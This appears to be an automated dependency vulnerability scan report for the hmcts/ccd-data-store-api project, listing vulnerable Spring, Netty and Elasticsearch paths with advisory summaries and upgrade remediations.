  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.hateoas:spring-hateoas@3.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.hateoas:spring-hateoas@3.0.2.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.security:spring-security-oauth2-resource-server@7.0.2 org.springframework.security:spring-security-web@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-resource-server@7.0.2.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.security:spring-security-oauth2-client@7.0.2 org.springframework.security:spring-security-web@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-client@7.0.2.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.security:spring-security-oauth2-jose@7.0.2 org.springframework.security:spring-security-oauth2-core@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-jose@7.0.2.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.security:spring-security-oauth2-resource-server@7.0.2 org.springframework.security:spring-security-oauth2-core@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-resource-server@7.0.2.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.security:spring-security-oauth2-client@7.0.2 org.springframework.security:spring-security-oauth2-core@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-client@7.0.2.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-web@4.0.1 org.springframework.boot:spring-boot-http-converter@4.0.1 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.0.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-web@4.0.1 org.springframework.boot:spring-boot-webmvc@4.0.1 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.0.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springdoc:springdoc-openapi-starter-webmvc-ui@2.8.14 org.springdoc:springdoc-openapi-starter-webmvc-api@2.8.14 org.springframework:spring-webmvc@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springdoc:springdoc-openapi-starter-webmvc-ui@3.0.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-web@4.0.1 org.springframework.boot:spring-boot-webmvc@4.0.1 org.springframework:spring-webmvc@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.0.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-web@4.0.1 org.springframework.boot:spring-boot-webmvc@4.0.1 org.springframework.boot:spring-boot-http-converter@4.0.1 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.0.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-web@4.0.1 org.springframework.boot:spring-boot-webmvc@4.0.1 org.springframework.boot:spring-boot-servlet@4.0.1 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.0.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.cloud:spring-cloud-starter-openfeign@5.0.0 org.springframework.cloud:spring-cloud-openfeign-core@5.0.0 io.github.openfeign:feign-form-spring@13.6 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.cloud:spring-cloud-starter-openfeign@5.0.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.0.1 org.springframework.boot:spring-boot-security-oauth2-resource-server@4.0.1 org.springframework.boot:spring-boot-security@4.0.1 org.springframework.security:spring-security-web@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.0.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.0.1 org.springframework.boot:spring-boot-starter-security@4.0.1 org.springframework.boot:spring-boot-security@4.0.1 org.springframework.security:spring-security-web@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.0.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.0.1 org.springframework.boot:spring-boot-security-oauth2-resource-server@4.0.1 org.springframework.security:spring-security-oauth2-resource-server@7.0.2 org.springframework.security:spring-security-web@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.0.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.0.1 org.springframework.boot:spring-boot-security-oauth2-resource-server@4.0.1 org.springframework.security:spring-security-oauth2-jose@7.0.2 org.springframework.security:spring-security-oauth2-core@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.0.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.0.1 org.springframework.boot:spring-boot-security-oauth2-resource-server@4.0.1 org.springframework.security:spring-security-oauth2-resource-server@7.0.2 org.springframework.security:spring-security-oauth2-core@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.0.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-web@4.0.1 org.springframework.boot:spring-boot-starter-tomcat@4.0.1 org.springframework.boot:spring-boot-tomcat@4.0.1 org.springframework.boot:spring-boot-web-server@4.0.1 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.0.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-web@4.0.1 org.springframework.boot:spring-boot-starter-tomcat@4.0.1 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.0.1 org.springframework.boot:spring-boot-web-server@4.0.1 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.0.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-web@4.0.1 org.springframework.boot:spring-boot-starter-tomcat@4.0.1 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.0.1 org.springframework.boot:spring-boot-tomcat@4.0.1 org.springframework.boot:spring-boot-web-server@4.0.1 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.0.1.

Overview

org.springframework:spring-web is a package that provides a comprehensive programming and configuration model for modern Java-based enterprise applications - on any kind of deployment platform.

Affected versions of this package are vulnerable to Open Redirect when UriComponentsBuilder is used to parse an externally provided URL and perform validation checks on the host of the parsed URL.

Note: This is the same as CVE-2024-22259 and CVE-2024-22243, but with different input.

Remediation

Upgrade org.springframework:spring-web to version 5.3.34, 6.0.19, 6.1.6 or higher.

References

medium severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: io.netty:netty-codec-http
  • Introduced through: io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 io.searchbox:jest@6.3.1 org.elasticsearch.plugin:transport-netty4-client@6.3.1 io.netty:netty-codec-http@4.1.16.Final

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the accumulation of data in the HttpPostRequestDecoder. The decoder cumulates bytes in the undecodedChunk buffer until it can decode a field, allowing for data to accumulate without limits.

An attacker can cause a denial of service by sending a chunked post consisting of many small fields that will be accumulated in the bodyListHttpData list.

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.108.Final or higher.

References

medium severity

Insertion of Sensitive Information into Log File

  • Vulnerable module: org.elasticsearch:elasticsearch
  • Introduced through: org.elasticsearch:elasticsearch@7.16.2 and io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.elasticsearch:elasticsearch@7.16.2
    Remediation: Upgrade to org.elasticsearch:elasticsearch@7.17.16.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 io.searchbox:jest@6.3.1 org.elasticsearch:elasticsearch@7.16.2
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 io.searchbox:jest@6.3.1 io.searchbox:jest-common@6.3.1 org.elasticsearch:elasticsearch@7.16.2
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 io.searchbox:jest@6.3.1 org.elasticsearch.test:framework@6.3.1 org.elasticsearch:elasticsearch@7.16.2
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 io.searchbox:jest@6.3.1 org.codelibs.elasticsearch.module:lang-painless@6.3.1 org.codelibs.elasticsearch.module:scripting-painless-spi@6.3.1 org.elasticsearch:elasticsearch@7.16.2

Overview

org.elasticsearch:elasticsearch is a Distributed, RESTful Search Engine.

Affected versions of this package are vulnerable to Insertion of Sensitive Information into Log File due to the logging of Watcher search input at the DEBUG log level, which may result in the unintended recording of sensitive information in log files. An attacker can gain access to sensitive data by examining the log files that contain the search query results.

Note:

This issue only affects users that use Watcher and have a Watch defined that uses the search input and additionally have set the search input’s logger to DEBUG or finer, for example using:

org.elasticsearch.xpack.watcher.input.search

org.elasticsearch.xpack.watcher.input

org.elasticsearch.xpack.watcher or wider, since the loggers are hierarchical.

Workaround

For users that cannot upgrade, if you use Watcher with search input logger set to DEBUG, the logging level can be set to INFO or higher (WARN, ERROR).

Remediation

Upgrade org.elasticsearch:elasticsearch to version 7.17.16, 8.11.2 or higher.

References

medium severity

Cross-site Scripting (XSS)

  • Vulnerable module: org.elasticsearch:elasticsearch
  • Introduced through: org.elasticsearch:elasticsearch@7.16.2 and io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.elasticsearch:elasticsearch@7.16.2
    Remediation: Upgrade to org.elasticsearch:elasticsearch@7.17.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 io.searchbox:jest@6.3.1 org.elasticsearch:elasticsearch@7.16.2
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 io.searchbox:jest@6.3.1 io.searchbox:jest-common@6.3.1 org.elasticsearch:elasticsearch@7.16.2
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 io.searchbox:jest@6.3.1 org.elasticsearch.test:framework@6.3.1 org.elasticsearch:elasticsearch@7.16.2
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 io.searchbox:jest@6.3.1 org.codelibs.elasticsearch.module:lang-painless@6.3.1 org.codelibs.elasticsearch.module:scripting-painless-spi@6.3.1 org.elasticsearch:elasticsearch@7.16.2

Overview

org.elasticsearch:elasticsearch is a Distributed, RESTful Search Engine.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via the Data Preview Pane which could allow arbitrary JavaScript to be executed in a victim’s browser.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade org.elasticsearch:elasticsearch to version 7.17.1, 8.0.1 or higher.

References

medium severity

Privilege Escalation

  • Vulnerable module: org.springframework:spring-web
  • Introduced through: io.github.openfeign.form:feign-form-spring@3.8.0, org.springframework.security:spring-security-web@7.0.2 and others

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 io.github.openfeign.form:feign-form-spring@3.8.0 org.springframework:spring-web@5.1.5.RELEASE
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.security:spring-security-web@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-web@7.0.2.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.security:spring-security-oauth2-core@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-core@7.0.2.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.cloud:spring-cloud-starter-openfeign@5.0.0 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.cloud:spring-cloud-starter-openfeign@5.0.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.hateoas:spring-hateoas@3.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.hateoas:spring-hateoas@3.0.2.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.security:spring-security-oauth2-resource-server@7.0.2 org.springframework.security:spring-security-web@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-resource-server@7.0.2.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.security:spring-security-oauth2-client@7.0.2 org.springframework.security:spring-security-web@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-client@7.0.2.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.security:spring-security-oauth2-jose@7.0.2 org.springframework.security:spring-security-oauth2-core@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-jose@7.0.2.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.security:spring-security-oauth2-resource-server@7.0.2 org.springframework.security:spring-security-oauth2-core@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-resource-server@7.0.2.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.security:spring-security-oauth2-client@7.0.2 org.springframework.security:spring-security-oauth2-core@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-client@7.0.2.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-web@4.0.1 org.springframework.boot:spring-boot-http-converter@4.0.1 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.0.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-web@4.0.1 org.springframework.boot:spring-boot-webmvc@4.0.1 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.0.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springdoc:springdoc-openapi-starter-webmvc-ui@2.8.14 org.springdoc:springdoc-openapi-starter-webmvc-api@2.8.14 org.springframework:spring-webmvc@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springdoc:springdoc-openapi-starter-webmvc-ui@3.0.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-web@4.0.1 org.springframework.boot:spring-boot-webmvc@4.0.1 org.springframework:spring-webmvc@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.0.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-web@4.0.1 org.springframework.boot:spring-boot-webmvc@4.0.1 org.springframework.boot:spring-boot-http-converter@4.0.1 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.0.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-web@4.0.1 org.springframework.boot:spring-boot-webmvc@4.0.1 org.springframework.boot:spring-boot-servlet@4.0.1 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.0.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.cloud:spring-cloud-starter-openfeign@5.0.0 org.springframework.cloud:spring-cloud-openfeign-core@5.0.0 io.github.openfeign:feign-form-spring@13.6 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.cloud:spring-cloud-starter-openfeign@5.0.0.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.0.1 org.springframework.boot:spring-boot-security-oauth2-resource-server@4.0.1 org.springframework.boot:spring-boot-security@4.0.1 org.springframework.security:spring-security-web@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.0.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.0.1 org.springframework.boot:spring-boot-starter-security@4.0.1 org.springframework.boot:spring-boot-security@4.0.1 org.springframework.security:spring-security-web@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.0.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.0.1 org.springframework.boot:spring-boot-security-oauth2-resource-server@4.0.1 org.springframework.security:spring-security-oauth2-resource-server@7.0.2 org.springframework.security:spring-security-web@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.0.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.0.1 org.springframework.boot:spring-boot-security-oauth2-resource-server@4.0.1 org.springframework.security:spring-security-oauth2-jose@7.0.2 org.springframework.security:spring-security-oauth2-core@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.0.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.0.1 org.springframework.boot:spring-boot-security-oauth2-resource-server@4.0.1 org.springframework.security:spring-security-oauth2-resource-server@7.0.2 org.springframework.security:spring-security-oauth2-core@7.0.2 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.0.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-web@4.0.1 org.springframework.boot:spring-boot-starter-tomcat@4.0.1 org.springframework.boot:spring-boot-tomcat@4.0.1 org.springframework.boot:spring-boot-web-server@4.0.1 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.0.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-web@4.0.1 org.springframework.boot:spring-boot-starter-tomcat@4.0.1 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.0.1 org.springframework.boot:spring-boot-web-server@4.0.1 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.0.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.springframework.boot:spring-boot-starter-web@4.0.1 org.springframework.boot:spring-boot-starter-tomcat@4.0.1 org.springframework.boot:spring-boot-starter-tomcat-runtime@4.0.1 org.springframework.boot:spring-boot-tomcat@4.0.1 org.springframework.boot:spring-boot-web-server@4.0.1 org.springframework:spring-web@5.1.5.RELEASE
    Remediation: Upgrade to org.springframework.boot:spring-boot-starter-web@4.0.1.

Overview

org.springframework:spring-web is a package that provides a comprehensive programming and configuration model for modern Java-based enterprise applications - on any kind of deployment platform.

Affected versions of this package are vulnerable to Privilege Escalation. By recreating the temporary storage directory, a locally authenticated malicious user can read or modify files that have been uploaded to the WebFlux application, or overwrite arbitrary files with multipart request data.

Remediation

Upgrade org.springframework:spring-web to version 5.3.7, 5.2.15.RELEASE or higher.

References

medium severity

Uncontrolled Recursion

  • Vulnerable module: org.elasticsearch:elasticsearch
  • Introduced through: org.elasticsearch:elasticsearch@7.16.2 and io.searchbox:jest@6.3.1

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 org.elasticsearch:elasticsearch@7.16.2
    Remediation: Upgrade to org.elasticsearch:elasticsearch@7.17.19.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 io.searchbox:jest@6.3.1 org.elasticsearch:elasticsearch@7.16.2
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 io.searchbox:jest@6.3.1 io.searchbox:jest-common@6.3.1 org.elasticsearch:elasticsearch@7.16.2
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 io.searchbox:jest@6.3.1 org.elasticsearch.test:framework@6.3.1 org.elasticsearch:elasticsearch@7.16.2
    Remediation: Upgrade to io.searchbox:jest@6.3.1.
  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 io.searchbox:jest@6.3.1 org.codelibs.elasticsearch.module:lang-painless@6.3.1 org.codelibs.elasticsearch.module:scripting-painless-spi@6.3.1 org.elasticsearch:elasticsearch@7.16.2

Overview

org.elasticsearch:elasticsearch is a Distributed, RESTful Search Engine.

Affected versions of this package are vulnerable to Uncontrolled Recursion when processing a document in a deeply nested pipeline on an ingest node, causing the node to crash.

Remediation

Upgrade org.elasticsearch:elasticsearch to version 7.17.19, 8.13.0 or higher.

References

medium severity

Dual license: EPL-1.0, LGPL-2.1

  • Module: ch.qos.logback:logback-classic
  • Introduced through: ch.qos.logback:logback-classic@1.5.24, com.microsoft.azure:applicationinsights-logging-logback@2.6.4 and others

Detailed paths

  • Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api#96fbe202586cd3d8352c680f0fa6d3888229ed09 ch.qos.logback:logback-classic@1.5.24
